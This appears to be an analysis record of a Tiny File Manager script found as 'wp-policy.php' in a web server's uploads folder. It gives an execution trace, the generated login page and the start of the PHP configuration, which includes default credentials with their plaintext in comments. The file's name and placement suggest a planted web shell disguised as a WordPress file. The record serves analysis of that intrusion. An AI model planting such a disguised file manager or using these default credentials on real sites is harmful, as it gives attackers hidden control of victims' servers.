2		A						/var/www/html/uploads/wp-policy.php	4062	$tr['en']['Permissions not changed'] = 'Permissions not changed'
2		A						/var/www/html/uploads/wp-policy.php	4063	$tr['en']['Select folder'] = 'Select folder'
2		A						/var/www/html/uploads/wp-policy.php	4063	$tr['en']['Source path not defined'] = 'Source path not defined'
2		A						/var/www/html/uploads/wp-policy.php	4064	$tr['en']['already exists'] = 'already exists'
2		A						/var/www/html/uploads/wp-policy.php	4064	$tr['en']['Error while moving from'] = 'Error while moving from'
2		A						/var/www/html/uploads/wp-policy.php	4065	$tr['en']['Create archive?'] = 'Create archive?'
2		A						/var/www/html/uploads/wp-policy.php	4065	$tr['en']['Invalid file or folder name'] = 'Invalid file or folder name'
2		A						/var/www/html/uploads/wp-policy.php	4066	$tr['en']['Archive unpacked'] = 'Archive unpacked'
2		A						/var/www/html/uploads/wp-policy.php	4066	$tr['en']['File extension is not allowed'] = 'File extension is not allowed'
2		A						/var/www/html/uploads/wp-policy.php	4067	$tr['en']['Root path'] = 'Root path'
2		A						/var/www/html/uploads/wp-policy.php	4067	$tr['en']['Error while renaming from'] = 'Error while renaming from'
2		A						/var/www/html/uploads/wp-policy.php	4068	$tr['en']['File not found'] = 'File not found'
2		A						/var/www/html/uploads/wp-policy.php	4068	$tr['en']['Error while deleting items'] = 'Error while deleting items'
2		A						/var/www/html/uploads/wp-policy.php	4069	$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name'
2		A						/var/www/html/uploads/wp-policy.php	4070	$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED'
2		A						/var/www/html/uploads/wp-policy.php	4071	$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted'
2		A						/var/www/html/uploads/wp-policy.php	4072	$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info'
2		A						/var/www/html/uploads/wp-policy.php	4073	$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?'
2		A						/var/www/html/uploads/wp-policy.php	4074	$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...'
2		A						/var/www/html/uploads/wp-policy.php	4075	$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable'
2		A						/var/www/html/uploads/wp-policy.php	4076	$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name'
2		A						/var/www/html/uploads/wp-policy.php	4077	$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available'
2		A						/var/www/html/uploads/wp-policy.php	4078	$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists'
2		A						/var/www/html/uploads/wp-policy.php	4080	$tr['en']['Moved from'] = 'Moved from'
3	66	0	0.011138	1293392	fm_get_translations	1		/var/www/html/uploads/wp-policy.php	4082	1	['en' => ['AppName' => 'Tiny File Manager', 'AppTitle' => 'File Manager', 'Login' => 'Sign in', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying fro' => 'Error while copying fro', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
4	67	0	0.011290	1293392	file_get_contents	0		/var/www/html/uploads/wp-policy.php	2425	1	'translation.json'
4	67	1	0.011323	1293432
4	67	R			FALSE
3		A						/var/www/html/uploads/wp-policy.php	2425	$content = FALSE
3	66	1	0.011350	1293392
3	66	R			NULL
2		A						/var/www/html/uploads/wp-policy.php	4082	$i18n = NULL
2		A						/var/www/html/uploads/wp-policy.php	4083	$tr = ['en' => ['AppName' => 'Tiny File Manager', 'AppTitle' => 'File Manager', 'Login' => 'Sign in', 'Username' => 'Username', 'Password' => 'Password', 'Logout' => 'Sign Out', 'Move' => 'Move', 'Copy' => 'Copy', 'Save' => 'Save', 'SelectAll' => 'Select all', 'UnSelectAll' => 'Unselect all', 'File' => 'File', 'Back' => 'Back', 'Size' => 'Size', 'Perms' => 'Perms', 'Modified' => 'Modified', 'Owner' => 'Owner', 'Search' => 'Search', 'NewItem' => 'New Item', 'Folder' => 'Folder', 'Delete' => 'Delete', 'Rename' => 'Rename', 'CopyTo' => 'Copy to', 'DirectLink' => 'Direct link', 'UploadingFiles' => 'Upload Files', 'ChangePermissions' => 'Change Permissions', 'Copying' => 'Copying', 'CreateNewItem' => 'Create New Item', 'Name' => 'Name', 'AdvancedEditor' => 'Advanced Editor', 'RememberMe' => 'Remember Me', 'Actions' => 'Actions', 'Upload' => 'Upload', 'Cancel' => 'Cancel', 'InvertSelection' => 'Invert Selection', 'DestinationFolder' => 'Destination Folder', 'ItemType' => 'Item Type', 'ItemName' => 'Item Name', 'CreateNow' => 'Create Now', 'Download' => 'Download', 'Open' => 'Open', 'UnZip' => 'UnZip', 'UnZipToFolder' => 'UnZip to folder', 'Edit' => 'Edit', 'NormalEditor' => 'Normal Editor', 'BackUp' => 'Back Up', 'SourceFolder' => 'Source Folder', 'Files' => 'Files', 'Change' => 'Change', 'Settings' => 'Settings', 'Language' => 'Language', 'Folder is empty' => 'Folder is empty', 'PartitionSize' => 'Partition size', 'ErrorReporting' => 'Error Reporting', 'ShowHiddenFiles' => 'Show Hidden Files', 'Full size' => 'Full size', 'Help' => 'Help', 'Free of' => 'Free of', 'Preview' => 'Preview', 'Help Documents' => 'Help Documents', 'Report Issue' => 'Report Issue', 'Generate' => 'Generate', 'FullSize' => 'Full Size', 'FreeOf' => 'free of', 'CalculateFolderSize' => 'Calculate folder size', 'ProcessID' => 'Process ID', 'Created' => 'Created', 'HideColumns' => 'Hide Perms/Owner columns', 'You are logged in' => 'You are logged in', 'Check Latest Version' => 'Check Latest Version', 'Generate new password hash' => 'Generate new password hash', 'Login failed. Invalid username or password' => 'Login failed. Invalid username or password', 'password_hash not supported, Upgrade PHP version' => 'password_hash not supported, Upgrade PHP version', 'Advanced Search' => 'Advanced Search', 'Error while copying fro' => 'Error while copying fro', 'Nothing selected' => 'Nothing selected', 'Paths must be not equal' => 'Paths must be not equal', 'Renamed from' => 'Renamed from', 'Archive not unpacked' => 'Archive not unpacked', 'Deleted' => 'Deleted', 'Archive not created' => 'Archive not created', 'Copied from' => 'Copied from', 'Permissions changed' => 'Permissions changed', 'to' => 'to', 'Saved Successfully' => 'Saved Successfully', 'not found!' => 'not found!', 'File Saved Successfully' => 'File Saved Successfully', 'Archive' => 'Archive', 'Permissions not changed' => 'Permissions not changed', 'Select folder' => 'Select folder', 'Source path not defined' => 'Source path not defined', 'already exists' => 'already exists', 'Error while moving from' => 'Error while moving from', 'Create archive?' => 'Create archive?', 'Invalid file or folder name' => 'Invalid file or folder name', 'Archive unpacked' => 'Archive unpacked', 'File extension is not allowed' => 'File extension is not allowed', 'Root path' => 'Root path', 'Error while renaming from' => 'Error while renaming from', 'File not found' => 'File not found', 'Error while deleting items' => 'Error while deleting items', 'Invalid characters in file name' => 'Invalid characters in file name', 'FILE EXTENSION HAS NOT SUPPORTED' => 'FILE EXTENSION HAS NOT SUPPORTED', 'Selected files and folder deleted' => 'Selected files and folder deleted', 'Error while fetching archive info' => 'Error while fetching archive info', 'Delete selected files and folders?' => 'Delete selected files and folders?', 'Search file in folder and subfolders...' => 'Search file in folder and subfolders...', 'Access denied. IP restriction applicable' => 'Access denied. IP restriction applicable', 'Invalid characters in file or folder name' => 'Invalid characters in file or folder name', 'Operations with archives are not available' => 'Operations with archives are not available', 'File or folder with this path already exists' => 'File or folder with this path already exists', 'Moved from' => 'Moved from']]
3	68	0	0.011521	1293392	fm_enc	1		/var/www/html/uploads/wp-policy.php	4086	1	'Sign in'
4	69	0	0.011535	1293392	htmlspecialchars	0		/var/www/html/uploads/wp-policy.php	2581	3	'Sign in'	3	'UTF-8'
4	69	1	0.011551	1293664
4	69	R			'Sign in'
3	68	1	0.011565	1293552
3	68	R			'Sign in'
2	65	1	0.011579	1284928
2	65	R			'Sign in'
2	70	0	0.011597	1284768	fm_show_footer_login	1		/var/www/html/uploads/wp-policy.php	349	0
2	70	1	0.011615	1284768
			0.011979	1204128
TRACE END   [2023-02-12 22:40:07.735801]


Generated HTML code

<html lang="en"><head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
        <title>Tiny File Manager</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page ">
<div id="wrapper" class="container-fluid">

            <section class="h-100">
            <div class="container h-100">
                <div class="row justify-content-md-center h-100">
                    <div class="card-wrapper">
                        <div class="card fat ">
                            <div class="card-body">
                                <form class="form-signin" action="" method="post" autocomplete="off">
                                    <div class="form-group">
                                       <div class="brand">
                                            <svg version="1.0" xmlns="http://www.w3.org/2000/svg" m1008="" width="100%" height="80px" viewBox="0 0 238.000000 140.000000" aria-label="H3K Tiny File Manager">
                                                <g transform="translate(0.000000,140.000000) scale(0.100000,-0.100000)" fill="#000000" stroke="none">
                                                    <path d="M160 700 l0 -600 110 0 110 0 0 260 0 260 70 0 70 0 0 -260 0 -260 110 0 110 0 0 600 0 600 -110 0 -110 0 0 -260 0 -260 -70 0 -70 0 0 260 0 260 -110 0 -110 0 0 -600z"></path>
                                                    <path fill="#003500" d="M1008 1227 l-108 -72 0 -117 0 -118 110 0 110 0 0 110 0 110 70 0 70 0 0 -180 0 -180 -125 0 c-69 0 -125 -3 -125 -6 0 -3 23 -39 52 -80 l52 -74 73 0 73 0 0 -185 0 -185 -70 0 -70 0 0 115 0 115 -110 0 -110 0 0 -190 0 -190 181 0 181 0 109 73 108 72 1 181 0 181 -69 48 -68 49 68 50 69 49 0 249 0 248 -182 -1 -183 0 -107 -72z"></path>
                                                    <path d="M1640 700 l0 -600 110 0 110 0 0 208 0 208 35 34 35 34 35 -34 35 -34 0 -208 0 -208 110 0 110 0 0 212 0 213 -87 87 -88 88 88 88 87 87 0 213 0 212 -110 0 -110 0 0 -208 0 -208 -70 -69 -70 -69 0 277 0 277 -110 0 -110 0 0 -600z"></path></g>
                                            </svg>
                                        </div>
                                        <div class="text-center">
                                            <h1 class="card-title">Tiny File Manager</h1>
                                        </div>
                                    </div>
                                    <hr>
                                    <div class="form-group">
                                        <label for="fm_usr">Username</label>
                                        <input type="text" class="form-control" id="fm_usr" name="fm_usr" required="" autofocus="">
                                    </div>

                                    <div class="form-group">
                                        <label for="fm_pwd">Password</label>
                                        <input type="password" class="form-control" id="fm_pwd" name="fm_pwd" required="">
                                    </div>

                                    <div class="form-group">
                                                                            </div>

                                    <div class="form-group">
                                        <button type="submit" class="btn btn-success btn-block mt-4" role="button">
                                            Sign in                                        </button>
                                    </div>
                                </form>
                            </div>
                        </div>
                        <div class="footer text-center">
                            —— ©
                            <a href="https://tinyfilemanager.github.io/" target="_blank" class="text-muted" data-version="2.4.6">CCP Programmers</a> ——
                        </div>
                    </div>
                </div>
            </div>
        </section>

        </div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.slim.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js"></script>


</body></html>

Original PHP code

<?php
//Default Configuration
$CONFIG = '{"lang":"en","error_reporting":false,"show_hidden":false,"hide_Cols":false,"calc_folder":false,"theme":"light"}';

/**
 * H3K | Tiny File Manager V2.4.6
 * CCP Programmers | ccpprogrammers@gmail.com
 * https://tinyfilemanager.github.io
 */

//TFM version
define('VERSION', '2.4.6');

//Application Title
define('APP_TITLE', 'Tiny File Manager');

// --- EDIT BELOW CONFIGURATION CAREFULLY ---

// Auth with login/password
// set true/false to enable/disable it
// Is independent from IP white- and blacklisting
$use_auth = true;

// Login user name and password
// Users: array('Username' => 'Password', 'Username2' => 'Password2', ...)
// Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html
$auth_users = array(
    'admin' => '$2y$10$/K.hjNr84lLNDt8fTXjoI.DBp6PpeyoJ.mGwrrLuCZfAwfSAGqhOW', //admin@123
    'user' => '$2y$10$Fg6Dz8oH9fPoZ2jJan5tZuv6Z4Kp7avtQ9bDfrdRntXtPeiMAZyGO' //12345
);

// Readonly users
// e.g. array('users', 'guest', ...)
$readonly_users = array(
    'user'
);

// Enable highlight.js (https://highlightjs.org/) on view's page
$use_highlightjs = true;

// highlight.js style
// for dark theme use 'ir-black'
$highlightjs_style = 'vs';

// Enable ace.js (https://ace.c9.io/) on view's page
$edit_files = true;

// Default timezone for date() and time()
// Doc - http://php.net/manual/en/timezones.php
$default_timezone = 'Etc/UTC'; // UTC

// Root path for file manager
// use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder'
$root_path = $_SERVER['DOCUMENT_ROOT'];

// Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder'
// Will not working if $root_path will be outside of server document root
$root_url = '';

// Server hostname. Can set manually if wrong
$http_host = $_SERVER['HTTP_HOST'];

// user specific directories
// array('Username' => 'Directory path', 'Username2' => 'Directory path', ...)
$directories_users = array();

// input encoding for iconv
$iconv_input_encoding = 'UTF-8';

// date() format for file modification date
// Doc - https://www.php.net/manual/en/function.date.php
$datetime_format = 'd.m.y H:i';

// Allowed file extensions for create and rename files
// e.g. 'txt,html,css,js'
$allowed_file_extensions = '';

// Allowed file extensions for upload files
// e.g. 'gif,png,jpg,html,txt'
$allowed_upload_extensions = '';

// Favicon path. This can be either a full url to an .PNG image, or a path based on the document root.
// full path, e.g http://example.com/favicon.png
// local path, e.g images/icons/favicon.png
$favicon_path = '';

// Files and folders to excluded from listing
// e.g. array('myfile.html', 'personal-folder', '*.php', ...)
$exclude_items = array();

// Online office Docs Viewer
// Availabe rules are 'google', 'microsoft' or false
// google => View documents using Google Docs Viewer
// microsoft => View documents using Microsoft Web Apps Viewer
// false => disable online doc viewer
$online_viewer = 'google';

// Sticky Nav bar
// true => enable sticky header
// false => disable sticky header
$sticky_navbar = true;

// Maximum file upload size
// Increase the following values in php.ini to work properly
// memory_limit, upload_max_filesize, post_max_size
$max_upload_size_bytes = 5000;

// Possible rules are 'OFF', 'AND' or 'OR'
// OFF => Don't check connection IP, defaults to OFF
// AND => Connection must be on the whitelist, and not on the blacklist
// OR => Connection must be on the whitelist, or not on the blacklist
$ip_ruleset = 'OFF';

// Should users be notified of their block?
$ip_silent = true;

// IP-addresses, both ipv4 and ipv6
$ip_whitelist = array(
    '127.0.0.1',    // local ipv4
    '::1'           // local ipv6
);

// IP-addresses, both ipv4 and ipv6
$ip_blacklist = array(
    '0.0.0.0',      // non-routable meta ipv4
    '::'            // non-routable meta ipv6
);

// if User has the customized config file, try to use it to override the default config above
$config_file = __DIR__.'/config.php';
if (is_readable($config_file)) {
    @include($config_file);
}

// --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL ---

// max upload file size
define('MAX_UPLOAD_SIZE', $max_upload_size_bytes);

// private key and session name to store to the session
if ( !defined( 'FM_SESSION_ID')) {
    define('FM_SESSION_ID', 'filemanager');
}

// Configuration
$cfg = new FM_Config();

// Default language
$lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en';

// Show or hide files and folders that starts with a dot
$show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true;

// PHP error reporting - false = Turns off Errors, true = Turns on Errors
$report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true;

// Hide Permissions and Owner cols in file-listing
